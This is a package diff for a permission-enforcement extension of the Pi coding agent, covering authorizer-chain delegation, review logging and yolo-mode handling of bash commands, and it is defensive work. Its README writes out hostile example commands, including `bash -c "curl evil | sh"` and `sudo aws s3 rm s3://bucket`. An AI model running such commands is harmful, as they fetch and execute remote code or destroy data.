@gotgenes/pi-permission-system 25.1.0 → 25.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,36 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [25.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.0...pi-permission-system-v25.2.1) (2026-08-15)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** auto-approve residual synthetic asks under yolo ([e1706d3](https://github.com/gotgenes/pi-packages/commit/e1706d3ea6497e4ce32d715af6034aea7dd4d0fc))
14
+ * **pi-permission-system:** honor an explicit bash deny for an unparseable command ([2e45633](https://github.com/gotgenes/pi-packages/commit/2e45633fa000c9c67ed62acaaf571f50c45a0d88))
15
+
16
+
17
+ ### Documentation
18
+
19
+ * **pi-permission-system:** describe the gate-level yolo grant ([8a8e4a7](https://github.com/gotgenes/pi-packages/commit/8a8e4a72bd52e37efef573ccf023e967206eaf1e)), closes [#712](https://github.com/gotgenes/pi-packages/issues/712)
20
+
21
+ ## [25.2.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.1.0...pi-permission-system-v25.2.0) (2026-08-14)
22
+
23
+
24
+ ### Features
25
+
26
+ * **pi-permission-system:** record which chain links were consulted on each ask ([8bb52ff](https://github.com/gotgenes/pi-packages/commit/8bb52ffe26cfb0c995e8299ebe737a09f1717c57)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
27
+
28
+
29
+ ### Bug Fixes
30
+
31
+ * **pi-permission-system:** stop reporting a delegated subagent chain as unregistered links ([2a1c082](https://github.com/gotgenes/pi-packages/commit/2a1c08292131e9f7dd71adeac380a997ccc0069a)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
32
+
33
+
34
+ ### Documentation
35
+
36
+ * **pi-permission-system:** document one-chain-per-node adjudication semantics ([c36980a](https://github.com/gotgenes/pi-packages/commit/c36980ae2cf6d1b115b4b3f20e9513dac61c3d1b)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
37
+
8
38
  ## [25.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.0.0...pi-permission-system-v25.1.0) (2026-08-13)
9
39
 
10
40
 
package/README.md CHANGED
@@ -116,6 +116,7 @@ The optional `shellTools` field records which non-`bash` tools carry shell seman
116
116
 
117
117
  The optional `authorizerChain` field names registered case-by-case decision links (e.g. a light model judge) to consult when a request lands on `ask`, ahead of the interactive prompt.
118
118
  A downstream extension registers a link via `getPermissionsService().registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on `external_directory`/`path` to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
119
+ A subagent's ask is reviewed by the chain of the session serving it, one hop up, rather than inside the subagent — see the same section.
119
120
  [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge) is a first-party reference implementation of such a link — a deny-first reviewer that auto-denies mistyped out-of-directory paths.
120
121
 
121
122
  For the full reference — all surfaces, runtime knobs, per-agent overrides, merge semantics, and common recipes — see [docs/configuration.md](docs/configuration.md).
@@ -215,6 +215,18 @@ The excluded surface is the **gate** surface the rule fired on, not the tool nam
215
215
  This holds for an ask forwarded up from a subagent exactly as it does for a local one.
216
216
  See [migration/0635-forwarded-ask-delegation-envelope.md](migration/0635-forwarded-ask-delegation-envelope.md).
217
217
 
218
+ When a **subagent** raises the ask, the chain runs one hop up.
219
+ The subagent forwards the request to the session serving it, and that session resolves it against its own rules and then runs *its* chain over the same evidence — so your configured links do review a subagent's asks, in the session you are watching.
220
+ The subagent itself resolves no links (an extension cannot register one in a child session at all), and records `authorizer_chain_delegated` in the review log to say so.
221
+
222
+ Three review-log records make the chain observable, all keyed by the ask's `requestId`:
223
+
224
+ | Record | Meaning |
225
+ | ------------------------------------ | -------------------------------------------------------------------------------------------------------- |
226
+ | `authorizer_chain_resolved` | the links consulted on this ask, recorded before they run — a link that defers otherwise leaves no trace |
227
+ | `authorizer_chain_delegated` | the ask came from a relaying subagent node; the named links were deliberately not run here |
228
+ | `authorizer_chain_unregistered_link` | a configured name had no registered link — a real misconfiguration; the ask still reaches the terminal |
229
+
218
230
  Extension authors: register a link from a `permissions:ready` handler via `getPermissionsService().registerAuthorizer(name, authorize)`; the callback receives the ask details and a narrow, session-scoped `PermissionQuery` (`checkPermission` / `getToolPermission`) so it can consult the deterministic engine at gate parity.
219
231
  Registration returns a disposer, and only one link may hold a given name.
220
232
  For a complete working example, see [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge): it registers a `model-judge` link on `permissions:ready` that reviews `external_directory` asks and auto-denies mistyped paths with a corrective reason.
@@ -382,13 +394,17 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
382
394
 
383
395
  - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
384
396
  - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
397
+ A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
385
398
  An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
386
399
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
387
400
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
388
401
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
389
402
  - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
390
403
  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
391
- As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
404
+ As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
405
+
406
+ Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
407
+ An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
392
408
 
393
409
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
394
410
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "25.1.0",
3
+ "version": "25.2.1",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -4,8 +4,8 @@ import type { PermissionQuery } from "#src/service";
4
4
  import {
5
5
  type Authorizer,
6
6
  type AuthorizerSelectionDeps,
7
+ type SelectedAuthority,
7
8
  selectAuthorizer,
8
- type TerminalAuthorizer,
9
9
  } from "./authorizer";
10
10
  import { composeAuthorizerChain } from "./authorizer-chain";
11
11
  import type { AuthorizerLookup } from "./authorizer-registry";
@@ -54,7 +54,7 @@ export interface AskEscalator {
54
54
  export class AuthorizerSelection
55
55
  implements AskEscalator, AuthorizerSelectionLifecycle
56
56
  {
57
- private terminal: TerminalAuthorizer | null = null;
57
+ private authority: SelectedAuthority | null = null;
58
58
 
59
59
  constructor(
60
60
  private readonly deps: AuthorizerSelectionDeps & {
@@ -69,13 +69,43 @@ export class AuthorizerSelection
69
69
  ) {}
70
70
 
71
71
  /**
72
- * Select the terminal Authorizer for `ctx` and store it. The non-terminal
72
+ * Select the live authority for `ctx` and store it. The non-terminal
73
73
  * chain is composed per ask in {@link escalate}, not here: ADR 0007 §4 lets a
74
74
  * link register in a `permissions:ready` handler that may fire after
75
75
  * activation, so link resolution is deferred to the session's first ask.
76
76
  */
77
77
  activate(ctx: ExtensionContext): void {
78
- this.terminal = selectAuthorizer(ctx, this.deps);
78
+ this.authority = selectAuthorizer(ctx, this.deps);
79
+ }
80
+
81
+ /**
82
+ * The chain links for this ask.
83
+ *
84
+ * A node that adjudicates locally resolves its configured names; a relaying
85
+ * node resolves none. Its terminal hands the ask to a serving node, which
86
+ * resolves the request against its own recorded authority and escalates it
87
+ * through *its* chain over the same child-fixed facts (#635) — so running
88
+ * links here would adjudicate one ask twice, and a relaying node cannot host
89
+ * a link in the first place (#699). The delegation is recorded rather than
90
+ * reported as a fail-safe skip: an absent link is the design here, not the
91
+ * misconfiguration `authorizer_chain_unregistered_link` exists to surface.
92
+ */
93
+ private linksFor(
94
+ authority: SelectedAuthority,
95
+ requestId: string,
96
+ ): Authorizer[] {
97
+ const configured = this.deps.getAuthorizerChain();
98
+ if (configured.length === 0) {
99
+ return [];
100
+ }
101
+ if (!authority.adjudicatesLocally) {
102
+ this.deps.logger.review("authorizer_chain_delegated", {
103
+ requestId,
104
+ links: configured,
105
+ });
106
+ return [];
107
+ }
108
+ return this.resolveConfiguredLinks(configured, requestId);
79
109
  }
80
110
 
81
111
  /**
@@ -84,32 +114,52 @@ export class AuthorizerSelection
84
114
  * warning (invariant 2 — more prompting, never less); each resolved link is
85
115
  * wrapped in the bounded-delegation envelope so an `allow` on an excluded
86
116
  * surface cannot exceed the operator's policy.
117
+ *
118
+ * The resolved names are recorded against the ask before any link runs — a
119
+ * link that defers decides nothing and would otherwise leave no evidence it
120
+ * was consulted at all, which is what makes "the judge never ran" and "the
121
+ * judge ran and deferred" indistinguishable in the review log.
87
122
  */
88
- private resolveConfiguredLinks(): Authorizer[] {
123
+ private resolveConfiguredLinks(
124
+ configured: readonly string[],
125
+ requestId: string,
126
+ ): Authorizer[] {
89
127
  const links: Authorizer[] = [];
90
- for (const name of this.deps.getAuthorizerChain()) {
128
+ const resolved: string[] = [];
129
+ for (const name of configured) {
91
130
  const authorize = this.deps.authorizerRegistry.get(name);
92
131
  if (authorize === undefined) {
93
- this.deps.logger.review("authorizer_chain_unregistered_link", { name });
132
+ this.deps.logger.review("authorizer_chain_unregistered_link", {
133
+ requestId,
134
+ name,
135
+ });
94
136
  continue;
95
137
  }
138
+ resolved.push(name);
96
139
  links.push({ authorize: encloseInDelegationEnvelope(authorize) });
97
140
  }
141
+ if (resolved.length > 0) {
142
+ this.deps.logger.review("authorizer_chain_resolved", {
143
+ requestId,
144
+ links: resolved,
145
+ });
146
+ }
98
147
  return links;
99
148
  }
100
149
 
101
150
  /** Clear the stored selection. */
102
151
  deactivate(): void {
103
- this.terminal = null;
152
+ this.authority = null;
104
153
  }
105
154
 
106
155
  /**
107
156
  * Escalate an ask through the composed chain and return its decision.
108
157
  *
109
- * Resolves the configured links freshly (so a link registered any time before
158
+ * Resolves this ask's links freshly (so a link registered any time before
110
159
  * this first ask is honored) and composes them ahead of the selected
111
- * terminal. With zero links the composed value **is** the terminal instance,
112
- * so behavior is identical to a bare terminal escalation.
160
+ * terminal. With zero links no chain configured, or a relaying node that
161
+ * delegates adjudication to the serving node the composed value **is** the
162
+ * terminal instance, so behavior is identical to a bare terminal escalation.
113
163
  *
114
164
  * Rejects if no terminal has been selected — i.e. before the session was
115
165
  * activated. Implements {@link AskEscalator}.
@@ -117,14 +167,15 @@ export class AuthorizerSelection
117
167
  escalate(
118
168
  details: PromptPermissionDetails,
119
169
  ): Promise<PermissionPromptDecision> {
120
- if (this.terminal === null) {
170
+ const authority = this.authority;
171
+ if (authority === null) {
121
172
  return Promise.reject(
122
173
  new Error("escalate called before the session was activated"),
123
174
  );
124
175
  }
125
176
  const chain = composeAuthorizerChain(
126
- this.resolveConfiguredLinks(),
127
- this.terminal,
177
+ this.linksFor(authority, details.requestId),
178
+ authority.terminal,
128
179
  this.deps.getPermissionQuery(),
129
180
  this.deps.logger,
130
181
  );
@@ -59,6 +59,28 @@ export interface TerminalAuthorizer {
59
59
  ): Promise<PermissionPromptDecision>;
60
60
  }
61
61
 
62
+ /**
63
+ * The node's live-authority selection: who decides this node's asks, and
64
+ * whether this node adjudicates them with its own chain.
65
+ *
66
+ * The chain role is the selection's product, not a discriminator a consumer
67
+ * re-derives: `selectAuthorizer` tests `hasUI` before `isSubagent`, so a
68
+ * subagent that has its own UI decides locally, and re-deriving the role from
69
+ * `detection.isSubagent(ctx)` alone would get that case wrong.
70
+ */
71
+ export interface SelectedAuthority {
72
+ /** The terminal that decides this node's asks, or relays them upward. */
73
+ readonly terminal: TerminalAuthorizer;
74
+ /**
75
+ * False when the terminal relays the ask to a serving node
76
+ * (`ParentAuthorizer`): that node resolves the request against its own
77
+ * recorded authority and escalates it through *its* chain over the same
78
+ * child-fixed facts (#635), so resolving links here would adjudicate one ask
79
+ * twice.
80
+ */
81
+ readonly adjudicatesLocally: boolean;
82
+ }
83
+
62
84
  /** Construction inputs for {@link selectAuthorizer}. */
63
85
  export interface AuthorizerSelectionDeps {
64
86
  /** Single owner of subagent detection; the ParentAuthorizer-selection predicate. */
@@ -81,8 +103,9 @@ export interface AuthorizerSelectionDeps {
81
103
  }
82
104
 
83
105
  /**
84
- * Select the `Authorizer` for the current context: the single owner of the
85
- * three-way `hasUI` / `isSubagent` / deny dispatch.
106
+ * Select the live authority for the current context: the single owner of the
107
+ * three-way `hasUI` / `isSubagent` / deny dispatch, and of the chain role that
108
+ * dispatch implies.
86
109
  *
87
110
  * Evaluated once per session activation (`AuthorizerSelection.activate`),
88
111
  * replacing the re-derivation of the same predicates across
@@ -91,24 +114,30 @@ export interface AuthorizerSelectionDeps {
91
114
  export function selectAuthorizer(
92
115
  ctx: ExtensionContext,
93
116
  deps: AuthorizerSelectionDeps,
94
- ): TerminalAuthorizer {
117
+ ): SelectedAuthority {
95
118
  if (ctx.hasUI) {
96
- return new LocalUserAuthorizer({
97
- ui: ctx.ui,
98
- mode: ctx.mode,
99
- events: deps.events,
100
- getPromptPreferences: deps.getPromptPreferences,
101
- requestPermissionDecision: deps.requestPermissionDecision,
102
- });
119
+ return {
120
+ terminal: new LocalUserAuthorizer({
121
+ ui: ctx.ui,
122
+ mode: ctx.mode,
123
+ events: deps.events,
124
+ getPromptPreferences: deps.getPromptPreferences,
125
+ requestPermissionDecision: deps.requestPermissionDecision,
126
+ }),
127
+ adjudicatesLocally: true,
128
+ };
103
129
  }
104
130
  if (deps.detection.isSubagent(ctx)) {
105
- return new ParentAuthorizer(ctx, {
106
- forwardingDir: deps.forwardingDir,
107
- registry: deps.registry,
108
- serving: deps.servingRegistry,
109
- getTimeoutMs: deps.getForwardingTimeoutMs,
110
- logger: deps.logger,
111
- });
131
+ return {
132
+ terminal: new ParentAuthorizer(ctx, {
133
+ forwardingDir: deps.forwardingDir,
134
+ registry: deps.registry,
135
+ serving: deps.servingRegistry,
136
+ getTimeoutMs: deps.getForwardingTimeoutMs,
137
+ logger: deps.logger,
138
+ }),
139
+ adjudicatesLocally: false,
140
+ };
112
141
  }
113
- return new DenyingAuthorizer();
142
+ return { terminal: new DenyingAuthorizer(), adjudicatesLocally: true };
114
143
  }
@@ -94,9 +94,11 @@ export interface PermissionPrompterDeps {
94
94
  * `ParentAuthorizer`, `DenyingAuthorizer`) — this class no longer threads
95
95
  * `ExtensionContext` per call.
96
96
  *
97
- * Yolo-mode auto-approval happens upstream, at the composition stage
98
- * (`PermissionManager.check`'s `rewriteAsksToYolo`) an `ask` never reaches
99
- * this class under yolo, so this class has no yolo-mode knowledge.
97
+ * Yolo-mode auto-approval happens upstream: at the composition stage
98
+ * (`PermissionManager.check`'s `rewriteAsksToYolo`) for a rule-driven ask, and
99
+ * at `GateRunner`'s auto-approve fast path (`resolveYoloGrant`) for an ask
100
+ * synthesized after resolution, which no rule rewrite can reach (#712) — an
101
+ * `ask` never reaches this class under yolo, so it has no yolo-mode knowledge.
100
102
  */
101
103
  export class PermissionPrompter implements PermissionPrompterApi {
102
104
  constructor(private readonly deps: PermissionPrompterDeps) {}
@@ -36,7 +36,9 @@ import type { PermissionCheckResult } from "#src/types";
36
36
  * to zero command units (a parse anomaly or an opaque program) fails closed to
37
37
  * a synthetic `ask` so a permissive top-level `*` cannot silently allow an
38
38
  * unparseable command (e.g. `cd /repo && git push` riding a top-level allow on
39
- * the empty-parse path) — #452.
39
+ * the empty-parse path) — #452. The whole command is still resolved first so an
40
+ * explicit `deny` covering it denies outright rather than being masked into an
41
+ * approvable prompt (#712).
40
42
  *
41
43
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
42
44
  * handler, which passes the decomposed `commands` here.
@@ -58,12 +60,11 @@ export function resolveBashCommandCheck(
58
60
  ): PermissionCheckResult {
59
61
  if (commands.length === 0) {
60
62
  if (isTriviallyEmptyCommand(command)) {
61
- return resolver.resolve({
62
- kind: "tool",
63
- surface: "bash",
64
- input: { command },
65
- agentName,
66
- });
63
+ return resolveWholeCommand(command, agentName, resolver);
64
+ }
65
+ const whole = resolveWholeCommand(command, agentName, resolver);
66
+ if (whole.state === "deny") {
67
+ return whole;
67
68
  }
68
69
  return {
69
70
  state: "ask",
@@ -94,12 +95,7 @@ export function resolveBashCommandCheck(
94
95
  });
95
96
  return (
96
97
  pickMostRestrictive(results) ??
97
- resolver.resolve({
98
- kind: "tool",
99
- surface: "bash",
100
- input: { command },
101
- agentName,
102
- })
98
+ resolveWholeCommand(command, agentName, resolver)
103
99
  );
104
100
  }
105
101
 
@@ -116,3 +112,17 @@ function isTriviallyEmptyCommand(command: string): boolean {
116
112
  .filter((line) => line.length > 0);
117
113
  return lines.every((line) => line.startsWith("#"));
118
114
  }
115
+
116
+ /** Resolve the whole command string as a single unit on the `bash` surface. */
117
+ function resolveWholeCommand(
118
+ command: string,
119
+ agentName: string | undefined,
120
+ resolver: ScopedPermissionResolver,
121
+ ): PermissionCheckResult {
122
+ return resolver.resolve({
123
+ kind: "tool",
124
+ surface: "bash",
125
+ input: { command },
126
+ agentName,
127
+ });
128
+ }
@@ -113,3 +113,32 @@ export function deriveResolution(
113
113
  }
114
114
  return confirmationUnavailable ? "confirmation_unavailable" : "user_denied";
115
115
  }
116
+
117
+ /**
118
+ * The standing yolo grant covering a gate's resolved check, or `null` when
119
+ * yolo does not answer it.
120
+ *
121
+ * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
122
+ * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
123
+ * first arm recognizes that grant. The second arm covers an `ask` synthesized
124
+ * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
125
+ * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
126
+ * cannot reach because the floor is a property of a parsed command unit, not of
127
+ * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
128
+ * log still shows why the ask was raised, while `origin: "yolo"` records why it
129
+ * was granted.
130
+ *
131
+ * A `deny` matches neither arm, so an explicit deny survives yolo.
132
+ */
133
+ export function resolveYoloGrant(
134
+ check: PermissionCheckResult,
135
+ yoloEnabled: boolean,
136
+ ): PermissionCheckResult | null {
137
+ if (check.state === "allow" && check.origin === "yolo") {
138
+ return check;
139
+ }
140
+ if (check.state === "ask" && yoloEnabled) {
141
+ return { ...check, state: "allow", origin: "yolo" };
142
+ }
143
+ return null;
144
+ }
@@ -12,7 +12,11 @@ import type { SessionApprovalRecorder } from "#src/session-approval-recorder";
12
12
  import type { PermissionCheckResult } from "#src/types";
13
13
  import type { GateDescriptor, GateResult } from "./descriptor";
14
14
  import { isGateBypass } from "./descriptor";
15
- import { buildDecisionEvent, deriveResolution } from "./helpers";
15
+ import {
16
+ buildDecisionEvent,
17
+ deriveResolution,
18
+ resolveYoloGrant,
19
+ } from "./helpers";
16
20
  import type { GateOutcome } from "./types";
17
21
 
18
22
  // ── GateRunner class ───────────────────────────────────────────────────────
@@ -32,6 +36,11 @@ export class GateRunner {
32
36
  private readonly recorder: SessionApprovalRecorder,
33
37
  private readonly prompter: AskEscalator,
34
38
  private readonly reporter: DecisionReporter,
39
+ /**
40
+ * Live yolo reader, read per gate so a mid-session config change takes
41
+ * effect — the same closure `PermissionManager` receives.
42
+ */
43
+ private readonly isYoloEnabled: () => boolean,
35
44
  ) {}
36
45
 
37
46
  /**
@@ -105,11 +114,12 @@ export class GateRunner {
105
114
  return { action: "allow" };
106
115
  }
107
116
 
108
- // 2b. Yolo fast-path — a composition-stage ask→allow rewrite records
109
- // origin "yolo" on the matched rule. Auto-approve without prompting,
110
- // preserving today's single auto_approved review entry + decision event
111
- // so review-log parity holds (#526).
112
- if (check.state === "allow" && check.origin === "yolo") {
117
+ // 2b. Yolo fast-path — the composition-stage ask→allow rewrite (origin
118
+ // "yolo" on the matched rule, #526) or, under yolo, an ask synthesized
119
+ // after resolution (#712). Auto-approve without prompting, preserving the
120
+ // single auto_approved review entry + decision event so log parity holds.
121
+ const yoloGrant = resolveYoloGrant(check, this.isYoloEnabled());
122
+ if (yoloGrant) {
113
123
  this.reporter.writeReviewLog("permission_request.auto_approved", {
114
124
  ...descriptor.logContext,
115
125
  agentName,
@@ -118,10 +128,10 @@ export class GateRunner {
118
128
  this.reporter.emitDecision(
119
129
  buildDecisionEvent(
120
130
  descriptor.decision,
121
- check,
131
+ yoloGrant,
122
132
  agentName,
123
133
  "allow",
124
- deriveResolution(check.state, "allow", false, false, true),
134
+ deriveResolution(yoloGrant.state, "allow", false, false, true),
125
135
  ),
126
136
  );
127
137
  return { action: "allow" };
package/src/index.ts CHANGED
@@ -84,13 +84,16 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
84
84
  // eslint-disable-next-line prefer-const -- forward-declared let; `const` requires an initializer
85
85
  let session: PermissionSession;
86
86
 
87
- // Constructed after the `configStore` forward declaration so the yolo reader
88
- // can close over it; the closure runs per check(), after configStore is
89
- // assigned below. yolo becomes a composition-stage ask→allow rewrite (#526).
87
+ // Declared after the `configStore` forward declaration so the reader can
88
+ // close over it; every call runs after configStore is assigned below. yolo is
89
+ // a composition-stage ask→allow rewrite (#526) that the gate runner extends
90
+ // to asks synthesized after resolution (#712), so both share this reader.
91
+ const isYoloEnabled = (): boolean => isYoloModeEnabled(configStore.current());
92
+
90
93
  const permissionManager = new PermissionManager({
91
94
  agentDir,
92
95
  flavor: hostFlavor,
93
- isYoloEnabled: () => isYoloModeEnabled(configStore.current()),
96
+ isYoloEnabled,
94
97
  });
95
98
 
96
99
  const logger = new PermissionSessionLogger({
@@ -255,6 +258,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
255
258
  sessionRules,
256
259
  authorizerSelection,
257
260
  reporter,
261
+ isYoloEnabled,
258
262
  );
259
263
  const toolCallGatePipeline = new ToolCallGatePipeline(
260
264
  resolver,